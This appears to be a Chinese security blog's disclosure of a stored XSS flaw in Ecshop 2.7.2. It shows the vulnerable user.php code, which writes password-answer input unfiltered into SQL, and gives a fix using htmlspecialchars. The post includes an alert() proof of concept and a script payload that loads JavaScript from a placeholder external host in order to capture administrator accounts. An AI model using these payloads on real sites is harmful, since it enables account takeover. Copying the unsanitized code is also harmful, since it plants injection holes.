\xeb\xfe's Blog.

Ecshop2.7.2持久型XSS(可获得管理员帐号)

2017/12/08

简要描述

个人资料修改时,Javascript代码过滤不够严格,XSS代码直接进入数据库

详细说明


存在漏洞的字段passwd_answer
漏洞文件(user.php)

1
2
3
4
5
6
7
8
/* 写入密码提示问题和答案 */
$sel_question = empty($_POST['sel_question']) ? '' : $_POST['sel_question'];
$passwd_answer = isset($_POST['passwd_answer']) ? trim($_POST['passwd_answer']) : '';
if (!empty($passwd_answer) && !empty($sel_question))
{
$sql = 'UPDATE ' . $ecs->table('users') . " SET `passwd_question`='$sel_question', `passwd_answer`='$passwd_answer' WHERE `user_id`='" . $_SESSION['user_id'] . "'";
$db->query($sql);
}

漏洞证明

在提示答案处输入"><script>alert(/xss/)</script>,点击保存后实现弹窗。

我们可以通过填入一段引入外部js的代码来实现获取管理员账号:

1
"><script src="http://www.xxx.com/test.js" type="text/javascript"></script>

我下载的ecshop2.7.2版本好像有点变化,字段名变了,但是复现效果跟原文一样。

修复方案

对用户post过来的sel_question和passwd_answer字段,输入输出前通过htmlspecialchars过滤或者过滤掉特殊字符
example:

1
htmlspecialchars($_POST['passwd_answer'])

原文链接:Ecshop2.7.2持久型XSS(可获得管理员帐号)

CATALOG
  1. 1. 简要描述
  2. 2. 详细说明
  3. 3. 漏洞证明
  4. 4. 修复方案